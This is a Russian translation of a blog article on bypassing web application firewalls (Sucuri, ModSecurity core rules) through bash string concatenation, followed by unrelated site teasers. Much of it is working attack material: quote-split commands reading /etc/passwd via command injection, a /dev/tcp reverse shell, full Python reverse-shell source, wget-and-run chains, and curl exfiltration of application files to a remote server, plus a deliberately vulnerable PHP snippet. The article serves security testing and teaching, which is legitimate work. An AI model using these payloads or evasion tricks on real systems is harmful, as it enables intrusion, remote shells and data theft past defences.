Перевод статьи: theMiddle — Web Application Firewall (WAF) Evasion Techniques #2
В первой части статьи WAF Evasion Techniques мы рассмотрели способы обхода правил WAF с использованием подстановочных знаков (более конкретно с использованием вопросительного знака). Очевидно, есть много других способов обойти набор правил WAF, и я думаю, что каждая атака имеет свою особую технику уклонения. Например: использование синтаксиса комментариев внутри полезной нагрузки SQL-инъекций может обойти многие фильтры. Я имею в виду вместо использования union+select вы можете использовать что-то вроде:
/?id=1+un/**/ion+sel/**/ect+1,2,3--
Это отличная техника, и она хорошо работает, когда целевой WAF имеет низкий уровень паранойи, который допускает символы звездочки * и дефиса. Но это должно работать только для SQL-инъекций и не может использоваться для использования Local File Inclusion или удаленного выполнения команд (Remote Command Execution). Но некоторые сценарии являются «настоящим кошмаром» для WAF, который должен защищать веб-приложение от атак удаленного выполнения команд… они называются конкатенация строк (concatenated strings).
Если вы хотите попрактиковаться с некоторыми из этих методов уклонения, недавно я создал FluxCapacitor, преднамеренно уязвимую виртуальную машину в hackthebox. Эта статья не содержит подсказок для решения конкретного сценария FluxCapacitor, но может улучшить ваши знания об этой технике.
Во многих языках программирования конкатенация строк является двоичным инфиксным оператором. Оператор + (плюс) часто используется для обозначения конкатенации строковых аргументов: «Hello, » + «World» имеет значение «Hello, World». В других языках есть отдельные операторы. Например . (точка) в Perl и PHP, .. (двоеточие) в Lua и т. д.
$ php -r 'echo "hello"." world"."\n";'
hello world$ python -c 'print "hello" + " world"'
hello world
Но если вы думаете, что это единственный способ объединить строки, вы абсолютно ошибаетесь. 🧐
В некоторых языках, таких как C, C ++, Python и Bash, есть нечто, называемое конкатенацией строковых литералов (string literal concatenation), что означает, что смежные строковые литералы объединяются без какого-либо оператора: «Hello, » «World» имеет значение «Hello, World». Это работает не только для команд printf и echo, но и для всего синтаксиса bash. Давайте начнем с самого начала.
Каждая из следующих команд имеет одинаковый результат:
# echo test
# echo 't'e's't
# echo 'te'st
# echo 'te'st''
# echo 'te'''st''
# python -c 'print "te" "st"'
Это происходит потому, что все смежные строковые литералы объединяются. Фактически ‘te’s’t’ состоит из трех строк: строки te, строки s и строки t. Этот синтаксис может использоваться для обхода фильтра (или правила WAF), основанного на «фразах соответствия — match phrases» (например, оператор pm в ModSecurity).
Правило SecRule ARGS «@pm passwd shadow groups»… в ModSecurity блокирует все запросы, содержащие passwd или shadow. Но что, если мы конвертируем их в pa’ss’wd или sh’ad’ow? Как и синтаксис SQLi, который мы видели ранее, который разделяет запрос с помощью комментариев, здесь мы также можем разделять имена файлов и системные команды, используя одинарные кавычки, и создавая группы объединенных строк. Конечно, вы можете использовать объединенную строку в качестве аргумента любой команды, но Bash позволяет объединять пути даже для выполнения!
Несколько примеров одной и той же команды:
$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
Теперь предположим, что вы обнаружили удаленное выполнение команды в параметре url вашего приложения. Если есть правило, которое блокирует фразы типа “etc, passwd, shadow, etc…”, Вы можете обойти его примерно так:
curl .../?url=;+cat+/e't'c/pa'ss'wd
Пришло время сделать несколько тестов! Я буду использовать следующий код PHP, чтобы протестировать его, как обычно, с Sucuri WAF и ModSecurity. Возможно, читая этот код, вы подумаете, что он слишком глуп и прост, и никто не использует curl внутри функции system() вместо использования функций curl в PHP… Если вы так думаете, вы живете в лучшем мире, чем я ! 🙂 Вы будете удивлены тем, сколько раз я читал подобные вещи в исходном коде приложений с которыми мне пришлось встретиться. Код PHP, который я буду использовать:
<?php if ( isset($_GET['zzz']) ) {
system('curl -v '.$_GET['zzz']);
}
Я думаю, что кто-то в Sucuri удалит мою учетную запись вскоре после этих двух статей. Но я клянусь: я использую Sucuri WAF для сравнения с ModSecurity, не потому, что я думаю, что одна лучше, чем другая. У Sucuri отличный сервис, и я использую его в качестве примера только потому, что он широко используется, и все его пользователи, читая эту статью, могут лучше протестировать эту технику в своих веб-приложениях.
Прежде всего, я попытаюсь использовать это приложение PHP для получения тела ответа от google.com без кодирования значения параметра:
curl -v 'http://test1.unicresit.it/?zzz=google.com'
Это работает, как и ожидалось, на странице google.com 302 написано, что я должен следовать по местоположению www.google.de (Google правильно определил местоположение моего сервера во Франкфурте):
Теперь есть много вещей, которые я мог бы сделать, чтобы использовать это уязвимое приложение. Одно из них — разбить синтаксис curl точкой с запятой ; и попробовать выполнить другие системные команды. Например прочитать файл /etc/passwd file…:
curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'
Sucuri WAF заблокировала этот запрос по следующей причине: «An attempted RFI/LFI was detected and blocked». Я думаю (просто предположение, потому что пользователи не могут видеть точные правила блокировки Sucuri WAF), что правило Sucuri «RFI/LFI Attempt» использует что-то вроде «соответствия фраз», которые мы видели ранее, со списком общих путей и имен файлов, такие как etc/passwd. Но этот WAF имеет очень минималистский набор правил и очень низкий «уровень паранойи» по умолчанию, которые позволяют мне обойти это правило, используя всего две одинарные кавычки!
curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"
Я знаю, о чем вы думаете: «Хорошо, вы можете прочитать файл passwd, минуя весь набор правил WAF… но реальный, самый большой, самый важный из всех вопросов: вы можете получить доступ к оболочке, при том что Sucuri WAF активен и защищает ваше приложение?» natürlich да! Единственная проблема в том, что мы не можем использовать netcat, потому что он не установлен в целевом контейнере, и да: я проверил это с помощью удаленного выполнения команды 🙂
$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"$
Самый простой способ (с несколькими специальными символами, которые могут быть заблокированы WAF) — использовать команду bash -i: bash -i >& /dev/tcp/1.1.1.1/1337 0>&1, но, к сожалению, она слишком сложна для обхода всех правил с этой полезной нагрузкой, и это означает, что будет трудно использовать некоторый код PHP, Perl или Python для его получения. Sucuri WAF блокирует мои дальнейшие попытки по следующей причине: Obfuscated attack payload detected (обнаружена скрытая полезная нагрузка атаки). Супер! не так ли?
Вместо того чтобы пытаться получить оболочку, используя непосредственно уязвимый параметр, я могу попытаться загрузить обратную оболочку Python в доступный для записи каталог, используя curl или wget. Сначала подготовим код Python vi shell.py:
#!/usr/bin/pythonimport socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Затем предоставим доступ к целевому веб-серверу, как обычно, используя python -c SimpleHTTPServer или php -S и т. д. Затем загрузим файл shell.py с целевого веб-сайта, я использовал следующий синтаксис:
curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'
Хорошо, Sucuri WAF не заблокировал этот запрос, но обычно ModSecurity блокирует такое 🙂 Если вы хотите быть уверены, что можете обойдете все типы правил «совпадение фраз», вы можете использовать wget + преобразование ip-to-long + string конкатенации:
.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html
Первая команда использует wget для загрузки файла оболочки в /tmp/. Вторая использует chmod, чтобы сделать его исполняемым, а третья выполняет его. Как видите, в запросе команды wget нет конкретного файла, поэтому загруженный файл называется wget index.html. Вы можете открыть этот файл с помощью netcat nc, написав вручную заголовки и тело ответа, что-то вроде этого:
Теперь самая сложная часть …
Возможно, вы думаете, что с низким уровнем паранойи в ModSecurity вы можете обойти основной набор правил OWASP с помощью этих методов, как мы видели в первой статье … хм, в основном нет. Это из-за двух небольших вещей, называемых normalizePath и cmdLine. В ModSecurity они называются «функциями преобразования» и используются для изменения входных данных, прежде чем они будут использованы при сопоставлении (например, выполнение оператора). Входные данные никогда не изменяются. ModSecurity создаст копию данных, преобразует их и затем запускает оператор в зависимости от результата.
normalizePath: удаляет из входной строки все символы косой черты, собственных ссылок на каталоги и обратных ссылок на каталоги (кроме тех случаев, когда они находятся в начале ввода).
cmdLine: разрушит все ваши мечты о взломе :), разработанный Марком Стерном, эта функция преобразования избегает использования escape-последовательностей путем нормализации значений параметров и запуска всех правил, таких как LFI, RCE, Unix Command и т. д. Например /e’t’c/pa’ss’wd нормализуется до /etc/passwd перед любой оценкой правил. Оня делает много вещей!:
\
"
'
^
/
(
,
и точки с запятой ;
пробеламиВсе попытки использовать RCE с конкатенацией строк блокируются правилом 932160 из-за функции преобразования cmdLine:
Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )""o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase""ruleId":"932160"
Хорошо, я не могу прочитать /etc/passwd, но не отчаивайтесь! Основной набор правил OWASP знает общие файлы, пути и команды для их блокировки, но он не может делать то же самое с исходным кодом целевого приложения. Я не могу использовать символ точку с запятой ; (и это означает, что я не могу нарушить синтаксис curl), но я могу использовать curl для того, чтобы отфильтровать файлы и отправить их на мой удаленный сервер. Это будет работать с уровнем паранойи от 0 до 3.
Хитрость заключается в том, чтобы отправлять файлы на удаленный сервер в теле запроса HTTP-запроса POST, и curl может сделать это с помощью параметра данных -d:
curl -d @/<file> <remote server>
Следующий запрос кодирует @
в %40
:
curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"
Все это не будет работать, если для цели задан уровень паранойи 4, потому что полезная нагрузка содержит такие символы, как дефис, косая черта и т. д. Хорошая новость заключается в том, что уровень паранойи 4 действительно редко встречается в производственной среде.
Та же самая техника работает с использованием символа обратной косой черты \
. Это не строка конкатенации, а просто escape-последовательность:
Это все на данный момент.
-theMiddle
Обход WAF Positive Technology https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf
Брандмауэры веб-приложений: механизмы обнаружения атак Vladimir Ivanov (blackhat USA 2016)
https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-Application-Firewalls-Analysis-Of-Detection-Logic.pdf
SQLi Обход WAF на OWASP Dhiraj Mishra
https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF
Все пользователи HTB, которые поделились со мной своим подходом к FluxCapacitor, а именно: arkantolo, snowscan, decoder, phra
Andrea (theMiddle) Menin
Twitter: https://twitter.com/Menin_TheMiddle
GitHub: https://github.com/theMiddleBlue
Linkedin: https://www.linkedin.com/in/andreamenin/
Краткий перевод: https://vuejs.org/guide/components/v-model.html Основное использование v-model используется для реализации двусторонней привязки в компоненте. Начиная с Vue…
Сегодня мы рады объявить о выпуске Vue 3.4 «🏀 Slam Dunk»! Этот выпуск включает в…
Vue.js — это универсальный и адаптируемый фреймворк. Благодаря своей отличительной архитектуре и системе реактивности Vue…
Недавно, у меня истек сертификат и пришлось заказывать новый и затем устанавливать на хостинг с…
Каким бы ни было ваше мнение о JavaScript, но всем известно, что работа с датами…
Все, кто следит за последними событиями в мире адаптивного дизайна, согласятся, что введение контейнерных запросов…